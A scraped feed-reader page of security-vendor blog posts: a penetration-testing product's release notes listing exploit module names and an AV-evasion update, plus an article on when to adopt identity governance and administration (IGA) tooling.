That’s it! As you can see, following this six step process is not only easy, but it’s quick and efficient. So as the title says, if you can count to 6, you to can run a pen test! To see these steps in action, head over to our on-demand webinar here. Happy Testing!

Six Steps to Pen Test
Penetration testing
Attribute this content to a different author: 
Andy Nickel
Read Full Article
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

Here is the summary of all exploits released since April 2nd, the last Dot Release:

  • 16 Updates overall
  •  9 Remote exploits
  • 4 Client-Side exploits
  • 3 Product updates

Here is the list of published updates:

Remote Exploits:

  • Disk Pulse Enterprise GET Buffer Overflow Exploit
  • Disk Savvy Enterprise Buffer Overflow Exploit
  • DiskBoss Enterprise Buffer Overflow Exploit
  • DiskBoss Enterprise Remote Buffer Overflow Exploit
  • Easy File Sharing Web Server POST Request Buffer Overflow Exploit
  • VX Search Command Name Buffer Overflow Exploit
  • Dell EMC Data Protection Advisor Remote OS Command Injection ExploitTp-link EAP Controller Exploit
  • Drupal Form API Ajax Requests Remote OS Command Injection Exploit

Client-Side Exploits:

  • ALLPlayer M3U Buffer Overflow Exploit
  • OMRON CX-One CX-FLnet Cdmapi32 Buffer Overflow Exploit
  • OMRON CX-One CX-Programmer Buffer Overflow Exploit
  • Rockwell Automation RSLogix Micro Starter Lite Project File Exploit

Product Updates:

  • Speculative Store Bypass Checker (CVE-2018-3639)
  • AV Evasion Improvements_V6
  • Supported services list update

Some important updates to highlight:
The introduction of the Speculative Store Bypass Checker (related to CVE-2018-3639) now enables you to identify assets that are likely susceptible to this industry-wide issue.  Susceptibility to this issue could allow unauthorized disclosure of information to an attacker via a side-channel analysis. Another important fact to highlight is that we shipped this update the same week that this vulnerability was disclosed.

The addition of the latest round of AV evasion updates helps you continue to get better results from your testing as it is enabling the Impact agents to be effective and avoid detection by anti-virus engines. This helps you avoid hassles of having to whitelist traffic, or better help you highlight how an attacker could move through the network undetected.
Message Input

 

Penetration testing
Attribute this content to a different author: 
Jesse Irvin
Read Full Article
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

Identity Governance & Administration (IGA) is commonly defined as “the policy-based centralized orchestration of user identity management and access control. Identity governance helps support enterprise IT security and regulatory compliance.” Or put into simpler terms, it’s putting in place a solution to ensure that the right people are getting access to the right things, at the right time. It sounds simple and it is- if you have less than 10 people in your organization.

So how are you going to manage your provisioning and de-provisioning of access accurately and efficiently?

How are you going to stay compliant?

Most importantly- what are you going to do to keep your team sane and not overwhelmed with access requests?

**Want to hear more about IGA? Watch our quick video**

What is Identity Governance and Administration (IGA)? - YouTube

 

The truth is that with the proliferation of devices, the ability to log on anywhere using VPN tools, and the increasing number of applications needed to do our jobs, this becomes a complex web of access that is hard to understand and even harder to work on. An IGA solution works with your Identity and Access Management (IAM) process to:

  • Automate workflows
  • Manage permissions
  • Stay compliant with reporting
  • Scale with your organization (no need to constantly replace or keep up)

However, while this solution can be a complete game changer for your organization, it is a big project with a substantial implementation period - so there are a few questions you should ask yourself before going down this road.

1. Is my organization big enough for an Identity Governance Administration solution?

The answer is, ask your IT team. Small to medium businesses typically don’t have as many people so they won’t have as many access needs. However, your IT team is who becomes directly impacted by the daily requests for provisioning, de-provisioning, certification and more. Therefore, in any organization, regardless of size, they will be the ones who know best about the volume of requests they are dealing with. Large organizations have many more demands placed on them than an SMB due to larger workforces and can quickly overwhelm an IT department costing time and money. With an IGA solution, you can automate workflows that will help with provisioning by role, bulk approvals, building roles, and more. These automated processes may not solve all of IT’s problems but they will drastically help to keep the access request overflow at bay. No matter the size of your organization you should ask yourself how important security is to your organization. The gap that lies between incorrect access and security concerns is where breaches live. If you are concerned about security then you need to be concerned about access risk.

2. What is the business case?

Are you looking to solve a short-term problem or to establish your organization for the future? Look at your business goals both now and in the future and decide if what you need is a few endpoint solutions to fix your security issues or if you need a more robust solution. If you do decide that an IGA solution is the way to go, make sure that you are presenting the case for it and not the few things it will fix. Buying an elaborate solution to fix one small issue isn’t efficient but buying a solution that will help multiple areas of your business for years to come is.

3. Will automation help?

Some things just can’t be automated. But for what can, why not take advantage of the cost and time savings? As part of your IAM policies or role building exercises, you should have defined roles and authorized applications tied to those roles. With automation, anytime someone is assigned a certain role they will automatically be provisioned for all associated applications

Another way automation helps is by forcing micro certifications for high-risk applications to ensure that people using the application are authorized, and not a bad actor who has made his or her way through your network. 

4How will this improve compliance?

First, look at how you are keeping up with compliance now. Most organizations have some kind of requirement showing how they keep access controls working and keep unauthorized users out. Are you currently tracking this manually with spreadsheets to compare and contrast? How quickly or efficiently are you getting these reports from the field and what is their accuracy?

Most manual compliance reports or audits are already different by the time the report is complete. An IGA solution automates this process by automatically tracking entitlements and presenting them in such a way that you easily see outliers in your organization so you can quickly investigate and remediate. All of this is done continuously, in real time, with recorded, exportable information to prove your compliance efforts.

 

Do you already know the answers to your questions? Are you thinking about an IGA solution but you just want to know what more it can do or what issues you might face? We get those questions every day and we will be sharing some of our solutions on June 20th at 11 AM ET/8AM PT in a Live Webinar titled “How to Solve the Top 3 IGA Struggles”. Our product and solutions teams will both be on hand to teach you how to get around these top 3 issues and will be ready to answer your questions on everything IGA or IAM. Save your seat today and join us on June 20th. 

 

Do I need IGA.png
Identity and Access Management
Attribute this content to a different author: 
Ricardo Font
Read Full Article

Read for later

Articles marked as Favorite are saved for later viewing.
close
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

Separate tags by commas
To access this feature, please upgrade your account.
Start your free month
Free Preview